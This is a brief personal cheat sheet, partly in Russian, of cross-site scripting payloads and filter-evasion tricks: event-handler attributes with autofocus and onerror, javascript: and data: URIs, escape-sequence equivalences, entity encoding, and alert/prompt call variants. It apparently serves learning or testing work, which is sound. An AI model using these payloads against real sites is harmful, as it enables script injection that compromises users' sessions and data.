xss

Атрибут onfocus="alert(1)", autofocus
javascript: alert(1)

"a" = "\x61" = "\u0061"

<img src onerror"alert(1)">

alert(1) => to html entity внутри атрибута или внутри <svg></svg>

data:text/javascript,alert(1)

alert(1) = alert`1` but 1 is Array(1)

prompt.call(1) => prompt()
prompt.call(1,2) => prompt(2)

https://gchq.github.io/CyberChef/